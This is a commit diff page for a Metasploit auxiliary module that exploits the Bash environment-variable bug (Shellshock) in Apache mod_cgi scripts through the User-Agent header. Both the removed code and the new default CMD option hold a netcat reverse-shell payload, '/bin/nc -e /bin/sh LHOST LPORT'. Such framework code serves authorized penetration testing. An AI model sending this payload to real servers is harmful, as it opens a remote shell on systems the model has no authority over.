Skip to content

Commit 2562964

Browse files
committed
Revert to my original code of using CMD
1 parent 6ae578f commit 2562964

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/auxiliary/admin/http/apache_mod_cgi_bash_env.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,8 @@ def initialize(info = {})
1717
variables in Bash, specifically targeting Apache mod_cgi scripts through
1818
the HTTP_USER_AGENT variable.
1919
20-
Netcat with the -e (GAPING_SECURITY_HOLE) option is required.
20+
If you use the default CMD, please change LHOST and LPORT. Also, you
21+
will need a Netcat with the -e (GAPING_SECURITY_HOLE) option.
2122
},
2223
'Author' => [
2324
'Stephane Chazelas', # Vulnerability discovery
@@ -34,8 +35,7 @@ def initialize(info = {})
3435

3536
register_options([
3637
OptString.new('TARGETURI', [true, 'Path to CGI script']),
37-
OptAddress.new('LHOST', [true, 'Local host for reverse shell']),
38-
OptPort.new('LPORT', [true, 'Local port for reverse shell'])
38+
OptString.new('CMD', [true, 'Command to run (absolute paths required)', '/bin/nc -e /bin/sh LHOST LPORT &'])
3939
], self.class)
4040
end
4141

@@ -44,7 +44,7 @@ def run
4444
send_request_cgi(
4545
'method' => 'GET',
4646
'uri' => normalize_uri(target_uri.path),
47-
'agent' => "() { :;}; /bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &"
47+
'agent' => "() { :;}; #{datastore['CMD']}"
4848
)
4949
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
5050
Rex::HostUnreachable => e

0 commit comments

Comments
 (0)